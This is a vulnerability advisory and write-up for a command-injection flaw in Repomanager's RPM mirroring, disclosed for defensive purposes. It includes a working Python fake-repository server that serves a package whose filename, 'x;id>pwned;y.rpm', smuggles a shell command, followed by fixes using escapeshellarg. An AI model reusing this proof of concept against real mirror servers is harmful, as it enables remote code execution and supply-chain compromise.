> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/cves/ghsa-ph7j-x866-rc66.md).

# GHSA-ph7j-x866-rc66

### What is Repomanger?&#x20;

If you've ever run a Linux machine, you've probably typed something like `apt install` or `yum install` to get new software. When you do that, your computer doesn't download the program from a random website - it fetches it from a **repository**: a trusted server that stores software packages and the info needed to verify they're genuine. (not the Github Repository!)&#x20;

**Repomanager is a tool for running your own repositories.** Think of it as *your own private app store for Linux servers.* Instead of every machine in a company pulling updates from the public internet, an admin sets up Repomanager in the middle: it mirrors and hosts the packages, and all t

{% hint style="info" %}
`apt install` is a command used in Debian-based Linux systems to install software packages. It automatically resolves and installs any dependencies required by the package being installed
{% endhint %}

The purposes are to:

* Create `deb` and `rpm` mirror repositories
* Sign packages and repositories with GPG
* Upload packages into repositories
* Create environments (e.g., `preprod`, `prod`) and make mirrors available only for specific environments
* Manage host package updates
* Schedule tasks

{% hint style="info" %}
DEB and RPM are package formats used in Linux operating systems. DEB is used by Debian-based distributions like Ubuntu, while RPM is used by Red Hat-based distributions like Fedora and CentOS.
{% endhint %}

### Tech Stack&#x20;

Repomanager's isn't too technical, as it has a SQLite database, PHP and Vanilla JS + PHP templates. In addition, it mostly uses shell commands to dish out updates. (EX:  `gpg` (signing/verifying), `rpm`/`rpmsign`, `xz`/`zstd`/`gzip` (compression), and more)&#x20;

Repomanager follows a classic pattern called **MVC** -  **M**odel, **V**iew, **C**ontroller. The Controller controls the requests and the flow of data, the Model is responbile for actually changing, fetching, and sending the data (the only files allowed to touch the database, and View is purely for HTML/Frontend. It receives the data, and uses whatever it receives to print out the frontend. Whatever data is sent on the user-side is first sent to one, central controller.

{% hint style="info" %}
**Untrusted data (a&#x20;*****source*****) reaches a dangerous destination (a&#x20;*****sink*****) without the right cleaning in between.**&#x20;
{% endhint %}

### What vulnerabilities were there?

The main vulnerabilities fall under processing of filenames along packages, leading to RCE. Sometimes files needed to escape out of HTML, but sometimes it needed to be escape of out of shell commands. This creates a confusing order that leads to several vulnerability. This is out of ¼ vulnerabilities I found in the 5.13.2&#x20;

### Summary

When first looking in a vulnerability, you would want to understand, how is data being received? Hence, one thing to look at is Repomanager's mirror function. If it mirrors a remote repo, what happens if we create our own repo, and have it contain malicious files/scripts? The vulnerability itself isn't that we're hosting malicious scripts (that isn't a vulnerability, it's still a function), but rather, can we have our malicious repo run scripts without explicitly running the files?&#x20;

When mirroring an RPM repository, repomanager takes each package's filename from the\
remote `primary.xml` `(<location href>)` and concatenates it into a shell command without\
escaping.

An attacker who controls an upstream repo that a repomanager instance mirrors can run arbitrary commands as www-data on the repomanager server. The "Check GPG signatures" option, enabled by default, is what triggers the vulnerable call. This is called "Command injection (RCE) via unsanitized RPM package filename when mirroring a repository"

### Steps

1. Host a malicious RPM repo (attached fake\_repo\_server.py, serves on :8000). Its single\
   package has the filename: x;id>pwned;y.rpm - You can host this whether it's running the python file inside of the docker container or on your host device
2. In repomanager, create a new repository and add it as an rpm SOURCE repository with URL `http://<host>:8000` (from the script)
3. Create a new repo: rpm, Mirror, that source, architecture x86\_64,\
   "Check GPG signatures" ON (default). Run the task
4. The task errors with "This package has no GPG signature" - but the command has\
   already executed.

### PoC

Starting with the source code, (Rpm.php) the filename is fetched from the primary.xml Line 418\
`case 'location': $location = $reader->getAttribute('href'); // ← comes straight from the remote primary.xml, attacker-controlled`

After, the file name is extracted (still without proper input sanitization) 494–495\
`$rpmPackageName = preg_split('#/#', $rpmPackageLocation); $rpmPackageName = end($rpmPackageName); // ← just "the part after the last /", never checked for ; $ ( ) etc.`

$rpmPackageName on the end is the whole vulnerability. new Process(...) runs that string through /bin/sh, so whatever is in $rpmPackageName is treated as shell (including the filename).\
`$myprocess = new Process('/usr/bin/rpm -qp --qf "%|DSAHEADER?{%{DSAHEADER:pgpsig}}:{%|RSAHEADER?{%{RSAHEADER:pgpsig}}:{(none}|}| %{NVRA}\n" ' . $absoluteDir. '/' . $rpmPackageName); $myprocess->execute();`

Repomanager successfully fetches and runs the script inside of the filename.

<figure><img src="/files/TfmNP1MxBfJbPGykLwEv" alt=""><figcaption></figcaption></figure>

evidence: "uid=33(www-data) gid=33(www-data) groups=33(www-data)"

Finally, looking at the python file I created:

My script served a package named x;id>pwned;y.rpm. Repomanager then downloaded it and built a shell command ending in that filename. The shell saw the ; and ran the hidden middle part: id>pwned. Since id = "print which user I am" and it redirects it to pwned, we can just cat the file for outputs. Please look at the py file to take a look at it.

```python
import gzip
import hashlib
import http.server
import socketserver
from urllib.parse import unquote

PORT = 8000

EVIL_FILENAME = 'x;id>pwned;y.rpm'
PKG_HREF = 'Packages/' + EVIL_FILENAME

# The "package" file we serve. Content is irrelevant -- it only has to match
# the checksum we advertise in primary.xml.
PKG_DATA = b'NOT A REAL RPM - repomanager command injection PoC\n'
PKG_SHA256 = hashlib.sha256(PKG_DATA).hexdigest()

# ---------------------------------------------------------------------------
# primary.xml  = the CATALOG. This is where the poison lives.
# <arch> must match an architecture selected in the repomanager form (x86_64),
# or the package is skipped at Rpm.php:547.
# ---------------------------------------------------------------------------
PRIMARY_XML = f'''<?xml version="1.0" encoding="UTF-8"?>
<metadata xmlns="http://linux.duke.edu/metadata/common" xmlns:rpm="http://linux.duke.edu/metadata/rpm" packages="1">
  <package type="rpm">
    <name>evil</name>
    <arch>x86_64</arch>
    <version epoch="0" ver="1.0" rel="1"/>
    <checksum type="sha256" pkgid="YES">{PKG_SHA256}</checksum>
    <summary>PoC</summary>
    <description>PoC</description>
    <packager></packager>
    <url></url>
    <size package="{len(PKG_DATA)}" installed="{len(PKG_DATA)}" archive="{len(PKG_DATA)}"/>
    <location href="{PKG_HREF}"/>
  </package>
</metadata>
'''.encode()

PRIMARY_GZ = gzip.compress(PRIMARY_XML)
PRIMARY_SHA256 = hashlib.sha256(PRIMARY_GZ).hexdigest()
PRIMARY_HREF = f'repodata/{PRIMARY_SHA256}-primary.xml.gz'

# ---------------------------------------------------------------------------
# repomd.xml = the TABLE OF CONTENTS. Points at primary.xml.gz and states its
# checksum (verified at Rpm.php:51) -- we control both, so they always agree.
# ---------------------------------------------------------------------------
# NOTE: there MUST be more than one <data> element. repomanager parses this via
# json_decode(json_encode(SimpleXMLElement)) (Rpm.php:220); with a single <data>
# the "data" key is an associative array, not a list, and the parser's
# `foreach ($jsonArray['data'] as $data)` misfires. Real repos always have
# several (primary, filelists, other), so we add filelists/other as decoys.
# repomanager only ever downloads "primary" (+ optional comps/modules/updateinfo),
# so the decoys are parsed but never fetched.

REPOMD_XML = f'''<?xml version="1.0" encoding="UTF-8"?>
<repomd xmlns="http://linux.duke.edu/metadata/repo" xmlns:rpm="http://linux.duke.edu/metadata/rpm">
  <revision>1</revision>
  <data type="primary">
    <checksum type="sha256">{PRIMARY_SHA256}</checksum>
    <open-checksum type="sha256">{hashlib.sha256(PRIMARY_XML).hexdigest()}</open-checksum>
    <location href="{PRIMARY_HREF}"/>
    <timestamp>1700000000</timestamp>
    <size>{len(PRIMARY_GZ)}</size>
    <open-size>{len(PRIMARY_XML)}</open-size>
  </data>
  <data type="filelists">
    <checksum type="sha256">{PRIMARY_SHA256}</checksum>
    <location href="repodata/filelists.xml.gz"/>
    <timestamp>1700000000</timestamp>
    <size>1</size>
  </data>
  <data type="other">
    <checksum type="sha256">{PRIMARY_SHA256}</checksum>
    <location href="repodata/other.xml.gz"/>
    <timestamp>1700000000</timestamp>
    <size>1</size>
  </data>
</repomd>
'''.encode()


class FakeRepoHandler(http.server.BaseHTTPRequestHandler):
    def _send(self, body, ctype='application/octet-stream'):
        self.send_response(200)
        self.send_header('Content-Type', ctype)
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_HEAD(self):
        # repomanager probes reachability with HEAD before downloading
        self.send_response(200)
        self.send_header('Content-Length', '0')
        self.end_headers()

    def do_GET(self):
        path = unquote(self.path).lstrip('/')
        print(f'  -> request: {path}')

        if path == 'repodata/repomd.xml':
            self._send(REPOMD_XML, 'application/xml')
        elif path == PRIMARY_HREF:
            self._send(PRIMARY_GZ, 'application/gzip')
        else:
            # Any other path (i.e. our poisoned package filename) gets the
            # dummy package body, whose checksum matches primary.xml.
            self._send(PKG_DATA)

    def log_message(self, fmt, *args):
        pass  # quiet; we print our own


if __name__ == '__main__':
    print('=' * 68)
    print(' Fake RPM repo  ->  repomanager command-injection PoC')
    print('=' * 68)
    print(f' Serving on      : http://0.0.0.0:{PORT}')
    print(f' Use in repomanager as source URL:') 
    print(f'                   http://localhost:{PORT}')
    print('-' * 68)
    print(f' Poisoned href   : {PKG_HREF}')
    print(f' Injected command: id>pwned  (runs id, writes output to ./pwned)')
    print(f' package sha256  : {PKG_SHA256}')
    print(f' primary sha256  : {PRIMARY_SHA256}')
    print('=' * 68)
    print(' Waiting for repomanager to sync... (Ctrl+C to stop)\n')

    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(('0.0.0.0', PORT), FakeRepoHandler) as httpd:
        httpd.serve_forever()
```

### Remediation/Recommendations

Fix at both sinks:

* controllers/Repo/Mirror/Rpm.php : Line 672
* controllers/Repo/Package/Sign.php : second sink - rpmsign (when GPG signing is enabled) Line 140

Wrap the filename with escapeshellarg(), and/or when parsing primary.xml reject any\
`<location href>` whose basename contains characters outside \[A-Za-z0-9.\_-].

For example, replace the previous code with:\
`$myprocess = new Process('/usr/bin/rpm -qp --qf "..." ' . escapeshellarg($absoluteDir . '/' . $rpmPackageName));`

Additionally for Sign.php,\
`// VULNERABLE (line 140) - $rpmFile concatenated into the shell string: $myprocess = new Process('/usr/bin/rpmsign --macros=' . MACROS_FILE . ' --addsign ' . $rpmFile, array('GPG_TTY' => '$(tty)'));`\
`// FIXED - wrap the filename in escapeshellarg(): $myprocess = new Process('/usr/bin/rpmsign --macros=' . escapeshellarg(MACROS_FILE) . ' --addsign ' . escapeshellarg($rpmFile), array('GPG_TTY' => '$(tty)'));`

### Impact

Remote code execution as www-data on the repomanager host. Because the injected value\
comes from mirrored upstream metadata, any instance that mirrors an attacker-controlled\
RPM repo is exploitable. Hence, this directly can lead to full compromise of the mirror server, and a critical supply-chain disruption to every downstream host configured to trust the server.
